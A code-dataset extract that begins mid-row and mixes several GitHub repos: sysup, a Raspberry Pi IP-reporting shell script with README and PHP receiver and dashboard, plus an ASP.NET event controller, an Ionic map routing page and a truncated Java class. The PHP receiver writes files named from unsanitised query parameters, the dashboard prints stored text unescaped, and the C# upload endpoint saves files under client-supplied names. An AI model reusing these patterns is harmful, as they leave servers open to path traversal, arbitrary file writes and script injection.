] | 8 | Java | jessicasfr/CursoJavaS1 | 1b0347cd0a0e7753d63c1b02ebc1ba1e7395109f | 6af4fcb0e3a5537e0d9f3b65ecc71e6a90997da4 |
refs/heads/master | <file_sep>#!/bin/sh
# kFreeBSD do not accept scripts as interpreters, using #!/bin/sh and sourcing.
if [ true != "$INIT_D_SCRIPT_SOURCED" ] ; then
set "$0" "$@"; INIT_D_SCRIPT_SOURCED=true . /lib/init/init-d-script
fi
### BEGIN INIT INFO
# Provides: sysup.sh
# Required-Start: $remote_fs $syslog
# Required-Stop: $remote_fs $syslog
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Short-Description: A daemon script which uploads uptime information to a remote host.
# Description: Requires sysupload.php on public server or ssh-keygen and ssh-copy-id to remote host. Must be added to
# crontab @reboot or added as service. Should chmod 755.
### END INIT INFO
# Author: <NAME> (<EMAIL>)
# Version: 2020/02/25
while (true)
do
date=$(date "+%Y/%m/%d-%H:%M:%S")
addr=$(ifconfig | sed -En 's/127.0.0.1//;s/.*inet (addr:)?(([0-9]*\.){3}[0-9]*).*/\2/p')
ext_addr=$(curl -s http://ipecho.net/plain; echo;)
hostname=$(hostname)
uptime=$(uptime -p)
message="$hostname @ $addr via $ext_addr, last seen: $date, $uptime"
{
#uncomment the following line for scp-mode. Requires ss-keygen and ssh-copy-id to remote host.
#ssh <EMAIL>@example.com "echo $message > ~/public_html/$hostname.txt"
#uncomment the following lines for www-mode. Requires sysupload.php script to exist at remote dir and dir possibly to be chmod 777.
#urlmessage=$(echo $message | sed -r 's/ /+/g')
#curl -m 2 "http://example.com/~user/sysupload.php?host=$hostname&data=$urlmessage"
} || {
echo "Host unreachable at $date." >> ./sysup.log
}
sleep 60
done
<file_sep># sysup
A tool to report IP addresses of headless machines to a public server. This is useful when, e.g., you run Raspberry Pis in headless mode for student projects, but your university network recycles DHCP IP addresses often. In fact, this script is mainly meant for Raspberry Pi applications.
## Prerequisites
You will require a public server to which to report IP addresses to. That server must be different from the headless device that does the reporting.
On that server, you either have to have access to a web folder or have SSH access. On the headless device, you should have root access to add `sysup` as a service, but you can also run it using a user cron.
## Installation
Execute on your headless device:
```
git clone https://github.com/tenbergen/sysup.git
cd sysup
sudo cp sysup.service /etc/systemd/system/
```
Then proceed as follows:
### Web Mode
If you want sysup to post to a website, copy both *.php files to a web folder:
```
scp *.php user@example.com:~/public_html/
```
Open `sysup.sh` and uncomment the following lines by removing the `#` character:
```
urlmessage=$(echo $message | sed -r 's/ /+/g')
curl -m 2 "http://example.com/~user/sysupload.php?host=$hostname&data=$urlmessage"
```
Edit the URL to be posted to according to your needs.
### SSH Mode
If you want sysup to post to an ssh server, generate a keypair for password-less login and copy your public key to the server:
```
ssh-keygen
ssh-copy-id <EMAIL>
```
It will prompt you for a password.
Open `sysup.sh` and uncomment the following line by removing the `#` character:
```
ssh <EMAIL> "echo $message > ~/public_html/sysup/$hostname.txt"
```
### Start the service
To start the service, simply run:
```
sudo systemctl enable sysup.service
```
### Using crontab
You can also add `sysup` to your crontab without root access:
```
crontab -e
```
add the following line to the end of the file:
```
@reboot /home/pi/sysup/sysup.sh >> /home/pi/sysup/sysup.log 2>$1
```
Note, that `sysup` uses an infinite loop and crontab doesn't like it.
### Non-Raspberry Pi usage
You can use this script on machines other than Raspberry Pi, but you may need to modify paths in `sysup.sh` and `sysup.service` to suit your needs.
## Contribute
Share the love and improve this thing. I'm sure there's plenty ways to make it better. My main concern is making somehting easy to use and versatile.
<file_sep><?php
$filename = __DIR__ . "/" . $_GET['host'] . ".txt";
$message = $_GET['data'];
echo $filename;
echo file_put_contents($filename, $message);
?>
<file_sep><html>
<head><title>Currently running Raspberry Pis</title></head>
<body>
<h1>Currently running Raspberry Pis</h1>
<?php
echo "<table border=1 cellpadding=3><tr bgcolor=lightgrey>
<td><strong>host</strong></td><td><strong>internal IP</strong></td><td><strong>external IP</strong></td><td><strong>last seen</strong></td><td><strong>uptime</strong></td></tr>";
$files = glob("*.txt");
foreach ($files as $file) {
if (time()-filemtime($file) > 24 * 3600) {
$color = "red";
} else if (time()-filemtime($file) > 1 * 3600) {
$color = "yellow";
} else {
$color = "green";
}
echo "<tr >";
$fileContent = rtrim(file_get_contents($file));
$expl = explode("@", $fileContent);
$host = $expl[0];
echo "<td>$host</td>";
$expl = explode(" via ", $expl[1]);
$intIP = $expl[0];
echo "<td>$intIP</td>";
$expl = explode(", last seen: ", $expl[1]);
$extIP = $expl[0];
echo "<td>$extIP</td>";
$expl = explode(", up ", $expl[1]);
$date = $expl[0];
echo "<td bgcolor=$color>$date</td>";
echo "<td>up $expl[1]</td>";
echo "</tr>";
#echo "<p>$fileContent</p>";
}
echo "</table>";
?>
</body>
</html>
| f707e85b171cc11ca638889e1cd20e76beace86d | [
"Markdown",
"PHP",
"Shell"
] | 4 | Shell | tenbergen/sysup | dd2d74c5327c755db161248bcbccaebdab5b59ac | ffa1591b7b7c67c205b680d24d288796e9a10d03 |
refs/heads/master | <file_sep>using System.Threading.Tasks;
using ProAgil.Domain;
namespace ProAgil.Repository
{
public interface IProAgilRepository
{
//GERAL
void Add<T>(T entity)where T: class;
void Update<T>(T entity)where T: class;
void Delete<T>(T entity)where T: class;
void DeleteRange<T>(T[] entity)where T: class;
Task <bool> SaveChangesAsync();
//EVENTOS
Task<Evento[]>GetAllEventoAsyncByTema(string tema,bool includePalestrantes);
Task<Evento[]>GetAllEventoAsync(bool includePalestrantes);
Task<Evento>GetEventoAsyncById(int EventoId,bool includePalestrantes);
//PALESTRANTES
Task<Palestrante[]>GetAllPalestrantesAyncByName(string name, bool includeEventos);
Task<Palestrante>GetPalestranteAsync(int PalestraneId, bool includeEventos);
}
}<file_sep>using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net.Http.Headers;
using System.Threading.Tasks;
using AutoMapper;
using Microsoft.AspNetCore.Http;
using Microsoft.AspNetCore.Mvc;
using ProAgil.API.Dtos;
using ProAgil.Domain;
using ProAgil.Repository;
namespace ProAgil.API.Controllers {
[Route ("api/[controller]")]
[ApiController]
public class EventoController : ControllerBase {
private readonly IProAgilRepository _repo;
private readonly IMapper _mapper;
public EventoController (IProAgilRepository repo, IMapper mapper) {
_mapper = mapper;
_repo = repo;
}
[HttpGet]
public async Task<IActionResult> Get () {
try {
var eventos = await _repo.GetAllEventoAsync (true);
var result = _mapper.Map<EventoDTO[]> (eventos);
return Ok (result);
} catch (System.Exception) {
return this.StatusCode (StatusCodes.Status500InternalServerError, "Banco Dados Falhou");
}
}
[HttpPost ("upload")]
public async Task<IActionResult> Upload () {
try {
var file = Request.Form.Files[0];
var folderName = Path.Combine ("Resources", "Images");
var pathToSave = Path.Combine (Directory.GetCurrentDirectory (), folderName);
if (file.Length > 0) {
var filename = ContentDispositionHeaderValue.Parse (file.ContentDisposition).FileName;
var fullPath = Path.Combine (pathToSave, filename.Replace ("\"", " ").Trim ());
using (var stream = new FileStream (fullPath, FileMode.Create)) {
file.CopyTo (stream);
}
}
return Ok ();
} catch (System.Exception) {
return this.StatusCode (StatusCodes.Status500InternalServerError, "Banco Dados Falhou");
}
return BadRequest ("Erro ao tentar upload");
}
[HttpGet ("{EventoId}")]
public async Task<IActionResult> Get (int EventoId) {
try {
var evento = await _repo.GetEventoAsyncById (EventoId, true);
var result = _mapper.Map<EventoDTO> (evento);
return Ok (result);
} catch (System.Exception) {
return this.StatusCode (StatusCodes.Status500InternalServerError, "Banco Dados Falhou");
}
}
[HttpGet ("getByTema/{tema}")]
public async Task<IActionResult> Get (string tema) {
try {
var result = await _repo.GetAllEventoAsyncByTema (tema, true);
return Ok (result);
} catch (System.Exception) {
return this.StatusCode (StatusCodes.Status500InternalServerError, "Banco Dados Falhou");
}
}
[HttpPost]
public async Task<IActionResult> Post (EventoDTO model) {
try {
var evento = _mapper.Map<Evento> (model);
_repo.Add (evento);
if (await _repo.SaveChangesAsync ())
return Created ($"/api/evento/{model.Id}", _mapper.Map<EventoDTO> (model));
} catch (System.Exception) {
return this.StatusCode (StatusCodes.Status500InternalServerError, "Banco Dados Falhou");
}
return BadRequest ();
}
[HttpPut ("{EventoId}")]
public async Task<IActionResult> Put (int EventoId, EventoDTO model) {
try {
var evento = await _repo.GetEventoAsyncById (EventoId, false);
if (evento == null)
return NotFound ();
var idLotes = new List<int> ();
var idRedesSociais = new List<int> ();
model.Lotes.ForEach (item => idLotes.Add (item.Id));
model.RedesSociais.ForEach (item => idRedesSociais.Add (item.Id));
var lotes = evento.Lotes.Where (lote => !idLotes.Contains (lote.Id)).ToArray ();
var redesSociais = evento.RedesSociais.Where (redeSocial => !idRedesSociais.Contains (redeSocial.Id)).ToArray ();
if (lotes.Length > 0) _repo.DeleteRange (lotes);
if (redesSociais.Length > 0) _repo.DeleteRange (redesSociais);
_mapper.Map (model, evento);
_repo.Update (evento);
if (await _repo.SaveChangesAsync ())
return Created ($"/api/evento/{evento.Id}", _mapper.Map<EventoDTO> (model));
} catch (System.Exception) {
return this.StatusCode (StatusCodes.Status500InternalServerError, "Banco Dados Falhou");
}
return BadRequest ();
}
[HttpDelete ("{EventoId}")]
public async Task<IActionResult> Delete (int EventoId) {
try {
var evento = await _repo.GetEventoAsyncById (EventoId, false);
if (evento == null)
return NotFound ();
_repo.Delete (evento);
if (await _repo.SaveChangesAsync ())
return Ok ();
} catch (System.Exception) {
return this.StatusCode (StatusCodes.Status500InternalServerError, "Banco Dados Falhou");
}
return BadRequest ();
}
}
}<file_sep>import { Container } from '@angular/compiler/src/i18n/i18n_ast';
export class Constants {
static readonly DATE_FMT = 'dd/MM/yyyy';
static readonly DATE_TIME_FMT = `${Constants.DATE_FMT} hh:mm:ss`;
}
| 99ebf59d38bd4cf0ac7ff264daca8346ff430a35 | [
"C#",
"TypeScript"
] | 3 | C# | zecabr/Proagil | 24b3368a10ed42cbe1a1a104d5a4334e833cc71f | db93b514d95e4b24a5b0dfb669366d606a4bce2a |
refs/heads/master | <repo_name>sohilvg/Stripe-payment-gateway-implementation<file_sep>/typings.d.ts
/** Declaration file generated by dts-gen */
export = typings;
declare const typings: {
};
declare var stripe: any;
declare var elements: any;<file_sep>/README.md
# payment-module
<file_sep>/src/typings.d.ts
/** Declaration file generated by dts-gen */
declare var stripe: any;
declare var elements: any;<file_sep>/src/app/app.component.ts
import {
Component,
AfterViewInit,
OnDestroy,
ViewChild,
ElementRef,
ChangeDetectorRef
} from "@angular/core";
// import { Router } from "@angular/router";
import { FormBuilder, FormGroup } from "@angular/forms";
import { of } from "rxjs";
import { HttpClient } from "@angular/common/http";
import { Injectable } from "@angular/core";
import { NgForm } from "@angular/forms";
// import typings from '../typings';
@Injectable()
@Component({
selector: "app-root",
templateUrl: "./app.component.html",
styleUrls: ["./app.component.css"]
})
export class AppComponent implements AfterViewInit, OnDestroy {
form: FormGroup;
orders = [];
currencyvalue = [];
ipAddress: any;
country: any;
currencyCode: any;
selectedItem = "INDIA";
public allDone = false;
amount: any;
@ViewChild("cardInfo") cardInfo: ElementRef;
card: any;
cardHandler = this.onChange.bind(this);
error: string;
emailAddress: any;
payvalue: EventTarget;
constructor(
private formBuilder: FormBuilder,
private http: HttpClient,
private cd: ChangeDetectorRef // private appService: ABTestService
) {
this.http.get<{ ip: string }>("http://ip-api.com/json").subscribe(data => {
this.ipAddress = data;
this.country = this.ipAddress.country;
let url = `https://restcountries.eu/rest/v2/name/${this.country}?fullText=true`;
this.http.get<{}>(url).subscribe(Data => {
this.currencyCode = Data[0].currencies[0].code;
});
});
// this.form = this.formBuilder.group({
// orders: [""]
// });
// of(this.getOrders()).subscribe(orders => {
// this.orders = orders;
// this.form.controls.orders.patchValue(this.orders[0].id);
// });
}
lgbtnclick() {
// const this.amount
console.log("Error", this.amount);
}
pay = [
{
money: 200,
value: 20000
},
{
money: 300,
value: 30000
},
{
money: 400,
value: 40000
}
];
newpay: Number;
openCheckout(event) {
this.newpay = event.target.value;
var user = this;
var handler = (<any>window).StripeCheckout.configure({
key: "<KEY>", // your pk test key from stripe
locale: "auto",
token: function(token: any) {
console.log(token);
user.allDone = true;
}
});
handler.open({
name: "test Stripe Payment",
description: "Stripe",
amount: this.newpay,
currency: this.currencyCode
});
}
/*created card to get details */
ngAfterViewInit() {
const style = {
base: {
lineHeight: "24px",
fontFamily: "monospace",
fontSmoothing: "antialiased",
fontSize: "19px",
"::placeholder": {
color: "purple"
}
}
};
this.card = elements.create("card", { style });
this.card.mount(this.cardInfo.nativeElement);
this.card.addEventListener("change", this.cardHandler);
}
ngOnDestroy() {
this.card.removeEventListener("change", this.cardHandler);
this.card.destroy();
}
onChange({ error }) {
if (error) {
this.error = error.message;
} else {
this.error = null;
}
this.cd.detectChanges();
}
async onSubmit(form: NgForm) {
const { token, error } = await stripe.createToken(this.card, {
email: this.emailAddress
});
if (error) {
console.log("Something is wrong:", error);
} else {
console.log("Success!", token);
// ...send the token to the your backend to process the charge
}
// constructor(private router: Router) {}
// getOrders() {
// return [
// { id: "AMD", name: "Armenia" },
// { id: "AUD", name: "Australia" },
// { id: "EUR", name: "Austria" },
// { id: "AZN", name: "Azerbaijan" },
// { id: "AMD", name: "Armenia" },
// { id: "EUR", name: "Belgium" },
// { id: "BTN", name: "Bhutan" },
// { id: "EUR", name: "France" },
// { id: "INR", name: "India " },
// { id: "JPY", name: "Japan" },
// { id: "UAH", name: "Ukraine" },
// { id: "USD", name: "United States" }
// ];
// }
// submit() {
// // let currencyvalue = this.form.value;
// // console.log(currencyvalue);
// // console.log("order", this.orders);
// }
// Topayment() {
// // this.router.navigateByUrl("/pages/payment/payment-done");
// }
}
}
| fd15cc143e0b91e99f804986f6bafec0b6ee3a3a | [
"Markdown",
"TypeScript"
] | 4 | TypeScript | sohilvg/Stripe-payment-gateway-implementation | a0a3067415a8baf7cded56691047e1fbec99eb02 | 9dc22552e0d6edb05070f832f534c291e2229ca1 |
refs/heads/master | <repo_name>kreisdavid/csc-207-peaceWar<file_sep>/Program/src/HumanPlayer.java
import java.util.*;
public class HumanPlayer implements Player {
private String name;
private String strategy;
private Scanner read;
private String choice;
public HumanPlayer(String name){
this.name = name;
this.strategy = "Human intuition.";
this.read = new Scanner(System.in);
this.choice = "";
}
@Override
public String getName() {
// TODO Auto-generated method stub
return this.name;
}
@Override
public String getDescription() {
// TODO Auto-generated method stub
return this.strategy;
}
@Override
public Move takeTurn(int num, Random rand) {
// TODO Auto-generated method stub
this.choice = "";
//prompt for user strategy
while(!choice.equalsIgnoreCase("war") && !choice.equalsIgnoreCase("peace")){
System.out.print("Strategy? ");
choice = read.next();
}
if(choice.equalsIgnoreCase("war")){
return Move.WAR;
} else {
return Move.PEACE;
}
}
@Override
public void recordOpponentMove(int num, Move move) {
// TODO Auto-generated method stub
// a human does not need this function
}
}
<file_sep>/README.md
# csc-207-peaceWar
<NAME> - for homework
<NAME> and <NAME> - for the lab
[kreisdav][simmonds17]
CSC 207 (Fall 2015) - Week 3
The repository was named before the inclusion of the new method of
submission. Both the lab and the homework are found in this repository.
Lab is found in the Stack folder, homework is found in the Program folder.
No late days were used.
Lab
Worked on by both David and Corey
Struture:
csc-207-peaceWar/
Stack/
src/
Stack.java
StackArray.java
Pancake.java
Homework
Worked on only by David
Structure:
csc-207-peaceWar/
Program/
src/
PeaceWarGame.java
Player.java
Move.java
RandomPlayer.java
HumanPlayer.java
Watermelon.java
/**
* Watermelon is a bot that plays the PeaceWarGame. It is designed to recognize the strategy
* of its opponent (current implementation includes only the most likely scenarios) and to then
* play the optimal strategy against that opponent to maximize the points scored for Watermelon.
*
* Watermelon begins the game with a predetermined pattern of moves, set so that each of the strategies
* it is designed to detect will produce a different pattern of moves in response, thus making them
* distinguishable. If Watermelon is able to determine the opponent's strategy, it plays the appropriate
* strategy that will result in the maximum number of points for itself. If Watermelon is unable to
* determine its opponent's strategy, it will utilize the Tit for Tat strategy.
*
* Watermelon is currently programed to detect the following strategies:
* Tit for Tat
* Tit for Two Tats
* Suspicious Tit for Tat
* Pavlov
* Grudger
* Always Peace
* Always War
* True Peace Maker
*
* Research on www.iterated-prisoners-dilemma.net was the source for knowledge of the different common
* strategies.
*
* Watermelon has 4 strategies that it may use after the initial set sequence of moves:
* Always War
* Always Peace
* Alternating Peace and War
* Tit for Tat
*/
<file_sep>/Program/src/Watermelon.java
import java.util.Random;
public class Watermelon implements Player {
/**
* Watermelon is a bot that plays the PeaceWarGame. It is designed to recognize the strategy
* of its opponent (current implementation includes only the most likely scenarios) and to then
* play the optimal strategy against that opponent to maximize the points scored for Watermelon.
*
* Watermelon begins the game with a predetermined pattern of moves, set so that each of the strategies
* it is designed to detect will produce a different pattern of moves in response, thus making them
* distinguishable. If Watermelon is able to determine the opponent's strategy, it plays the appropriate
* strategy that will result in the maximum number of points for itself. If Watermelon is unable to
* determine its opponent's strategy, it will utilize the Tit for Tat strategy.
*
* Watermelon is currently programed to detect the following strategies:
* Tit for Tat
* Tit for Two Tats
* Suspicious Tit for Tat
* Pavlov
* Grudger
* Always Peace
* Always War
* True Peace Maker
*
* Research on www.iterated-prisoners-dilemma.net was the source for knowledge of the different common
* strategies.
*
* Watermelon has 4 strategies that it may use after the initial set sequence of moves:
* Always War
* Always Peace
* Alternating Peace and War
* Tit for Tat
*/
private String name;
private String strategy;
private Move[] probe; //to hold initial results from set pattern
private Move[] react; //used if opponent strategy cannot be determined
private int bestStrategy;
public Watermelon(){
this.name = "Watermelon";
this.strategy = "Starts with a set pattern in order to determine the opponent's strategy, then plays optimally for discovered strategy.";
this.probe = new Move[9];
this.react = new Move[1];
}
@Override
public String getName() {
// TODO Auto-generated method stub
return this.name;
}
@Override
public String getDescription() {
// TODO Auto-generated method stub
return this.strategy;
}
@Override
public Move takeTurn(int num, Random rand) {
// TODO Auto-generated method stub
//the first 9 moves are predetermined to act as a test for the opponent strategy
//the rest of the moves are based on what the strategy of the opponent has been determined to be
if(num == 1){
return Move.WAR;
} else if(num == 2){
return Move.WAR;
} else if(num == 3){
return Move.PEACE;
} else if(num == 4){
return Move.PEACE;
} else if(num == 5){
return Move.WAR;
} else if(num == 6){
return Move.PEACE;
} else if(num == 7){
return Move.WAR;
} else if(num == 8){
return Move.WAR;
} else if(num == 9){
return Move.PEACE;
} else {
if(this.bestStrategy == 1){
return Move.PEACE;
} else if(this.bestStrategy == 2){
return Move.WAR;
} else if(this.bestStrategy == 3){
if(num % 2 == 0){
return Move.PEACE;
} else {
return Move.WAR;
}
} else if(this.bestStrategy == 0){
//here we put in t4t strategy using react
return this.react[0];
} else{
System.out.println("Well shit");
System.exit(0);
//program should never reach here
//big problems if does
return null;
//to make the compiler happy, there is a return statement
}
}
}//takeTurn
@Override
public void recordOpponentMove(int num, Move move) {
// TODO Auto-generated method stub
if(num < 10){
this.probe[num - 1] = move;
}
if(num == 9){
if(this.probe[0].equals(Move.PEACE) && this.probe[1].equals(Move.WAR) && this.probe[2].equals(Move.WAR)
&& this.probe[3].equals(Move.PEACE) && this.probe[4].equals(Move.PEACE) && this.probe[5].equals(Move.WAR)
&& this.probe[6].equals(Move.PEACE) && this.probe[7].equals(Move.WAR)&& this.probe[8].equals(Move.WAR)){
this.bestStrategy = 1;
//determine if t4t
} else if(this.probe[0].equals(Move.PEACE) && this.probe[1].equals(Move.PEACE) && this.probe[2].equals(Move.WAR)
&& this.probe[3].equals(Move.WAR) && this.probe[4].equals(Move.PEACE) && this.probe[5].equals(Move.PEACE)
&& this.probe[6].equals(Move.PEACE) && this.probe[7].equals(Move.PEACE)&& this.probe[8].equals(Move.WAR)){
this.bestStrategy = 3;
//determine if t42t
} else if(this.probe[0].equals(Move.WAR) && this.probe[1].equals(Move.WAR) && this.probe[2].equals(Move.WAR)
&& this.probe[3].equals(Move.PEACE) && this.probe[4].equals(Move.PEACE) && this.probe[5].equals(Move.WAR)
&& this.probe[6].equals(Move.PEACE) && this.probe[7].equals(Move.WAR)&& this.probe[8].equals(Move.WAR)){
this.bestStrategy = 1;
//determine if st4t
} else if(this.probe[0].equals(Move.PEACE) && this.probe[1].equals(Move.WAR) && this.probe[2].equals(Move.PEACE)
&& this.probe[3].equals(Move.PEACE) && this.probe[4].equals(Move.PEACE) && this.probe[5].equals(Move.WAR)
&& this.probe[6].equals(Move.WAR) && this.probe[7].equals(Move.PEACE)&& this.probe[8].equals(Move.WAR)){
this.bestStrategy = 2;
//determine if pavlov
} else if(this.probe[0].equals(Move.PEACE) && this.probe[1].equals(Move.WAR) && this.probe[2].equals(Move.WAR)
&& this.probe[3].equals(Move.WAR) && this.probe[4].equals(Move.WAR) && this.probe[5].equals(Move.WAR)
&& this.probe[6].equals(Move.WAR) && this.probe[7].equals(Move.WAR)&& this.probe[8].equals(Move.WAR)){
this.bestStrategy = 2;
//determine if grudger
} else if(this.probe[0].equals(Move.PEACE) && this.probe[1].equals(Move.PEACE) && this.probe[2].equals(Move.PEACE)
&& this.probe[3].equals(Move.PEACE) && this.probe[4].equals(Move.PEACE) && this.probe[5].equals(Move.PEACE)
&& this.probe[6].equals(Move.PEACE) && this.probe[7].equals(Move.PEACE)&& this.probe[8].equals(Move.PEACE)){
this.bestStrategy = 2;
//determine if always peace
} else if(this.probe[0].equals(Move.WAR) && this.probe[1].equals(Move.WAR) && this.probe[2].equals(Move.WAR)
&& this.probe[3].equals(Move.WAR) && this.probe[4].equals(Move.WAR) && this.probe[5].equals(Move.WAR)
&& this.probe[6].equals(Move.WAR) && this.probe[7].equals(Move.WAR)&& this.probe[8].equals(Move.WAR)){
this.bestStrategy = 2;
//determine if always war
} else if(this.probe[0].equals(Move.PEACE) && this.probe[1].equals(Move.PEACE) && this.probe[3].equals(Move.PEACE)
&& this.probe[4].equals(Move.PEACE) && this.probe[5].equals(Move.PEACE) && this.probe[6].equals(Move.PEACE)
&& this.probe[7].equals(Move.PEACE)){
//determine if tpm
if(this.probe[2].equals(Move.WAR) || this.probe[8].equals(Move.WAR)){
this.bestStrategy = 3;
//probable that its tpm, random variation makes it likely but not certain
} else{
this.bestStrategy = 0;
//if pattern is close but not perfect
//if both index 2 and 8 are peace, then probability is unlikely
}
} else{
this.bestStrategy = 0;
//pattern not detected
}
}//if num == 9
if(num >= 9 && this.bestStrategy == 0){
this.react[0] = move;
//if strategy could not be determined, store the last move of the opponent to be played back at them
}
}//recordOpponentMove
}//class
<file_sep>/Stack/src/StackArray.java
public class StackArray<T> implements Stack<T> {
private T[] data;
private int top;
public StackArray(int n){
this.data = (T[]) new Object[n];
this.top = 0;
}
public void push(T p) {
// TODO Auto-generated method stub
if (!isFull()){
this.data[top] = p;
this.top++;
}
}
public T pop() {
// TODO Auto-generated method stub
if(!isEmpty()){
top--;
return this.data[top];
}
return null;
}
public boolean isEmpty() {
// TODO Auto-generated method stub
if(this.top == 0){
return true;
}
return false;
}
public boolean isFull() {
// TODO Auto-generated method stub
if(this.top == this.data.length){
return true;
}
return false;
}
}
<file_sep>/Program/src/Move.java
/**
* The possible move in a Peace-War Game.
*/
public enum Move {
PEACE, WAR;
/**
* @return the string representation of this Move.
*/
public static String toString(Move move){
if(Move.PEACE == move){
return "peace";
} else {
return "war";
}
}
}
<file_sep>/Program/src/RandomPlayer.java
import java.util.Random;
public class RandomPlayer implements Player {
private String name;
private String strategy;
public RandomPlayer(String name){
this.name = name;
this.strategy = "This computer player will randomly pick either PEACE or WAR each turn.";
}
@Override
public String getName() {
// TODO Auto-generated method stub
return this.name;
}
@Override
public String getDescription() {
// TODO Auto-generated method stub
return this.strategy;
}
@Override
public Move takeTurn(int num, Random rand) {
// TODO Auto-generated method stub
int r = rand.nextInt();
if(r % 2 == 0){
return Move.WAR;
} else {
return Move.PEACE;
}
//randomly choose WAR or PEACE
}
@Override
public void recordOpponentMove(int num, Move move) {
// TODO Auto-generated method stub
//this bot doesn't need this function
}
}
| cae387fae5637cfaf5b6bf4748a397bd4582458c | [
"Markdown",
"Java"
] | 6 | Java | kreisdavid/csc-207-peaceWar | f196783a42eabbe76a46a6588a7a56054b38858d | 0e04e4d2950141736f188e18b6e77e932e780905 |
refs/heads/main | <repo_name>VasudhaMahajan/Instelp<file_sep>/insetlp-provider/src/pages/route/route.ts
import { Component,ViewChild, ElementRef } from '@angular/core';
import { NavController, NavParams, IonicPage } from 'ionic-angular';
import { DisplayInfoProvider } from '../../providers/display-info/display-info';
import { Geolocation } from '@ionic-native/geolocation';
import 'rxjs/add/operator/map';
import { map } from 'rxjs/operator/map';
import { AcceptRequestPage } from '../accept-request/accept-request';
declare var google;
@Component({
selector: 'page-route',
templateUrl: 'route.html',
})
export class RoutePage {
@ViewChild('map') mapElement: ElementRef;
map: any;
infowindow = new google.maps.InfoWindow;
textforButton: String ='Click to see your first check point';
text: String = 'Final Price to be Paid here :';
flag = false;
reference:any;
currentIndexToShow:number = 0;
finalPrice=0;
totalPrice=0;
i=0;
k=0;
j=0;
clat :any=[];
clong :any=[];
lat:any;
long:any;
first1;
first2;
second1;
second2;
urlString;
constructor(public navCtrl: NavController, public navParams: NavParams,private g: DisplayInfoProvider,public geolocation: Geolocation) {
console.log(this.g.cart);
for(this.k=1;this.k<this.g.cart[0].length+1;this.k++)
{
this.clong[this.k] = this.g.cart[0][this.k-1].placeLong;
this.clat[this.k] = this.g.cart[0][this.k-1].placeLat;
console.log(" lats: "+this.clat[this.k]+" longs: "+this.clong[this.k]);
}
this.clat[this.k] = this.g.cart[0][0].cust_lat;
this.clong[this.k] = this.g.cart[0][0].cust_long;
}
async nextButtonClick() {
this.finalPrice=0;
console.log(this.currentIndexToShow);
if(this.currentIndexToShow == this.g.cart[0].length)
{
let directionsService = new google.maps.DirectionsService;
let directionsDisplay = new google.maps.DirectionsRenderer;
directionsDisplay.setMap(this.map);
var geocoder = new google.maps.Geocoder;
//directionsDisplay.setMap(null);
console.log("src: "+this.clat[this.j]+" "+this.clong[this.j]);
console.log("dest: "+this.clat[this.j+1]+" "+this.clong[this.j+1]);
directionsService.route({
origin: {lat: parseFloat(this.clat[this.j]), lng: parseFloat(this.clong[this.j]) },
destination: {lat: parseFloat(this.clat[this.j+1]), lng: parseFloat(this.clong[this.j+1]) },
travelMode: google.maps.TravelMode['DRIVING']
},
(res, status) => {
if(status == google.maps.DirectionsStatus.OK)
{
directionsDisplay.setDirections(res);
}
else
{
console.warn(status);
}
});
this.totalPrice = this.totalPrice+20;
this.finalPrice = this.totalPrice;
this.textforButton = 'Done.. reach the customer and then click';
this.text = 'Price to be collected from user';
this.ShowDirections(this.clat[this.j],this.clong[this.j],this.clat[this.j+1],this.clong[this.j+1]);
console.log("in if"+this.j);
if(this.j == this.g.cart[0].length + 1)
this.navCtrl.push(AcceptRequestPage);
this.j = this.j+1;
}
else{
let directionsService = new google.maps.DirectionsService;
let directionsDisplay = new google.maps.DirectionsRenderer;
directionsDisplay.setMap(this.map);
var geocoder = new google.maps.Geocoder;
//directionsDisplay.setMap(null);
this.reference = this.g.cart[0][this.currentIndexToShow];
console.log("in else"+this.j);
for(this.i=0;this.i<this.g.cart[0][this.j].menu.length;this.i++)
{
this.finalPrice = this.finalPrice+(this.g.cart[0][this.j].menu[this.i].quantity*this.g.cart[0][this.j].menu[this.i].productPrice);
}
this.totalPrice = this.totalPrice+this.finalPrice;
console.log("Total Price"+this.finalPrice);
this.textforButton = 'next check point';
//----------------------------------------------------------------- adding the path now
// let directionsService = new google.maps.DirectionsService();
// let directionsDisplay = new google.maps.DirectionsRenderer();
// directionsDisplay.setMap(this.map);
console.log("src: "+parseFloat(this.clat[this.j])+" "+this.clong[this.j]);
console.log("dest: "+this.clat[this.j+1]+" "+this.clong[this.j+1]);
directionsService.route({
origin: {lat: parseFloat(this.clat[this.j]), lng: parseFloat(this.clong[this.j]) },
destination: {lat: parseFloat(this.clat[this.j+1]), lng: parseFloat(this.clong[this.j+1]) },
travelMode: google.maps.TravelMode['DRIVING']
},
(res, status) => {
if(status == google.maps.DirectionsStatus.OK)
{
//directionsDisplay.setMap(null);
directionsDisplay.setDirections(res);
}
else
{
console.warn(status);
}
});
this.ShowDirections(this.clat[this.j],this.clong[this.j],this.clat[this.j+1],this.clong[this.j+1]);
this.currentIndexToShow++;
this.j++;
}
}
ionViewDidLoad() {
this.loadMap();
}
loadMap(){
this.geolocation.getCurrentPosition().then((position)=>{
let latLng = new google.maps.LatLng(position.coords.latitude,
position.coords.longitude);
this.lat = position.coords.latitude;
this.long = position.coords.longitude;
this.clat[0] = this.lat;
this.clong[0] = this.long;
console.log(this.lat+" "+this.long);
//console.log(latLng)
let mapOptions = {
center: latLng,
zoom: 15,
mapTypeId: google.maps.MapTypeId.ROADMAP
}
this.map = new google.maps.Map(this.mapElement.nativeElement,
mapOptions);
this.addMarker();
}, (err) => {
console.log(err);
});
}
addMarker(){
let marker = new google.maps.Marker({
map: this.map,
animation: google.maps.Animation.DROP,
position: this.map.getCenter()
});
let content = "<h4>Information!</h4>";
this.addInfoWindow(marker, content);
}
addInfoWindow(marker, content){
let infoWindow = new google.maps.InfoWindow({
content: content
});
google.maps.event.addListener(marker, 'click', () => {
infoWindow.open(this.map, marker);
});
}
ShowDirections(first1,first2,second1,second2)
{
this.urlString = "https://www.google.com/maps/dir/?api=1&origin="+first1+","+first2+"&destination="
+second1+","+second2;
console.log(this.urlString);
}
}<file_sep>/instelp-admin/src/Test/LatLongs.java
package Test;
import java.util.List;
import javax.xml.bind.annotation.XmlAccessType;
import javax.xml.bind.annotation.XmlAccessorType;
import javax.xml.bind.annotation.XmlElement;
import javax.xml.bind.annotation.XmlRootElement;
@XmlRootElement(name="JsonObject")
@XmlAccessorType(XmlAccessType.FIELD)
public class LatLongs {
@XmlElement
List<LatLong> latlng;
public List<LatLong> getLatlng() {
return latlng;
}
public void setLatlng(List<LatLong> latlng) {
